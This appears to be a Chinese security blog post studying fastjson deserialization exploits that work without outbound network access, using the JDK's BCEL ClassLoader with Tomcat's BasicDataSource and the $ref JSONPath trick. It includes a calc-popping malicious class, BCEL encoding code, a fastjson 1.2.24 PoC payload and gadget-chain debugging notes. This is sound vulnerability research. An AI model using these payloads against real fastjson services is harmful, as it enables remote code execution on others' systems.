fastjson不出网学习

前言

fastjson公开的就三条链,前两天我们上篇文章已经分析。TemplatesImpl要求太苛刻了,JNDI的话需要服务器出网才行。今天学习的这条链就是可以应对不出网的情况。

BCEL

什么是BCEL

BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目,BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。就这个库的功能来看,其使用面远不及同胞兄弟们,但是他比Commons Collections特殊的一点是,它被包含在了原生的JDK中,位于com.sun.org.apache.bcel摘自P牛BCEL ClassLoader去哪里了

BCEL的简单使用

BCEL这个包中有个类com.sun.org.apache.bcel.internal.util.ClassLoader,他是一个ClassLoader,但是他重写了Java内置的ClassLoader#loadClass()方法。 在ClassLoader#loadClass()中,其会判断类名是否是$$BCEL$$开头,如果是的话,将会对这个字符串进行decode。可以理解为是传统字节码的HEX编码,再将反斜线替换成$。默认情况下外层还会加一层GZip压缩。

我们可以编写一个恶意的类

public class Evil {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {}
    }
}

然后使用过BCEL提供的两个类 RepositoryUtility 来利用: Repository 用于将一个Java Class先转换成原生字节码,当然这里也可以直接使用javac命令来编译java文件生成字节码; Utility 用于将原生的字节码转换成BCEL格式的字节码:

public class BCEL_T {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
        JavaClass javaClass = Repository.lookupClass(Evil.class);
        String encode = Utility.encode(javaClass.getBytes(), true);
        System.out.println(encode);
        Class.forName("$$BCEL$$" + encode, true, new ClassLoader());
//        new ClassLoader().loadClass("$$BCEL$$" + encode).newInstance();
    }
}

image-20220220212007914

讲完BCEL我们大概知道了如何使用,这下看看在fastjson里面的使用吧

BCEL在Fastjson漏洞中的利用

测试环境

jdk8u31
dbcp 9.0.53
fastjson 1.2.24 [1.2.24之后修复了]

这里先贴一下poc[注意看注释]

{
    {
        "aaa": {
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
            //这里是tomcat>8的poc,如果小于8的话用到的类是
            //org.apache.tomcat.dbcp.dbcp.BasicDataSource
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$..."
        }
    }: "bbb"
}

这个poc最开始有点看不懂,这里贴一个其他师傅发的利用链,我们来分析下

BasicDataSource.getConnection() -> createDataSource() -> createConnectionFactory()

image-20220220222829690

不管if是不是true都会进行this.createDataSource().getConnection();这个操作,跟踪下

image-20220220223038166

然后继续跟进下到createDriver

image-20220220223056580

到这里就执行了我们的恶意代码

image-20220220223549881

可以看到这里是Class.forName将类加载进来,并且设置了initialize参数为true【其实就是告诉Java虚拟机是否执⾏”类初始化而staic就是在类初始化加载的】而Class.forName方法实际上也是调用的 CLassLoader 来实现的。所以1和3都是可控的

image-20220220224337775

但现在就有点问题了,我焯。他是怎么调用getConnection的并且返回值是Connection是不满足geter的

image-20220220224613552

我们回头去查看这个POC形式

首先在{“@type”: “org.apache.tomcat.dbcp.dbcp2.BasicDataSource”……} 这一整段外面再套一层{},这样的话会把这个整体当做一个JSONObject,会把这个当做key,值为bbb

将这个 JSONObject 放在 JSON Key 的位置上,在 JSON 反序列化的时候,FastJson 会对 JSON Key 自动调用 toString() 方法:

image-20220221120558658

而且JSONObject是Map的子类,当调用toString的时候,会依次调用该类的getter方法获取值。然后会以字符串的形式输出出来。所以会调用到getConnection方法

具体调试可以看fastjson反序列化之basicdatasource利用链

$ref

因为调用geter是有限制的,对于不满足getter的方法的时候我们该怎么解决呢?

当fastjson>=1.2.36的时候,可以使用$ref方式调用getter

什么是ref

ref是fastjson特有的JSONPath语法,用来引用之前出现的对象

什么又是JsonPath

详细可以参考:https://goessner.net/articles/JsonPath/ 这里简单举个例子

Test.java

public class test {
    private String cmd;

    public void setCmd(String cmd) {
        System.out.println("seter call");
        this.cmd = cmd;
    }

    public String getCmd() throws IOException {
        System.out.println("geter call");
        Runtime.getRuntime().exec(cmd);
        return cmd;
    }
}

触发代码

public class ref_fastjson {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload = "[{\"@type\":\"com.demo.fastjson.test\",\"cmd\":\"calc\"},{\"$ref\":\"$[0].cmd\"}]";
        JSON.parse(payload);
    }
}

image-20220221131128719

可以看到geter被调用了但是他是不满足我们geter调用要求的

我们来解释一下这个demo

[{"@type":"com.demo.fastjson.test","cmd":"calc"},{"$ref":"$[0].cmd"}]

这其实不就是一个数组吗,fastjson解析到$ref会判断为是一个引用,$[0]表示的是数组里的第一个元素,则$[0].cmd表示的是获取第一个元素的cmd属性的值。

这里调试一下,看下调用栈

image-20220221132333784

74行就是进行了一些ref的处理没啥 然后一些赋值增加了一个resolveTask,进入75行

image-20220221133534311

image-20220221133828470

然后继续进入eval

image-20220221134017802

注意有一个init()

image-2022022113415427

因为不满足所以直接else,注意看explain()函数,这个函数的作用是把$ref的value解析成segment,Segment是定义在JSONPath类的一个interface,然后explain()会把一个完整的JSONPath拆分成小的处理逻辑,这里就不截图了 太多了。具体详细流程看y4师傅学习

最终JSONPath.eval 最终会调用到getPropertyValue 函数,会尝试调用fieldInfo的get函数或者用反射的方式调用getter

image-20220221135022356

image-20220221135034375

至此流程我们大概就清楚了,那为什么1.2.36之前不行?

这里拿一个1.2.35对比一下差异主要在DefaultJSONParser#handleResovleTask
要求refValue不为null,且必须时JSONObject类

image-20220221140820757

参考

https://paper.seebug.org/1613/
https://jlkl.github.io/2021/12/18/Java_07/
https://mp.weixin.qq.com/s/dvqvaiJG28TZAyMEyIC6Lg
https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html
https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html
https://blog.csdn.net/solitudi/article/details/120275526
https://ccship.cn/2021/12/21/fastjson%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e4%b9%8bbasicdatasource%e5%88%a9%e7%94%a8%e9%93%be/
posted @ 2022-02-21 14:12  R0ser1  阅读(3231)  评论(0编辑  收藏  举报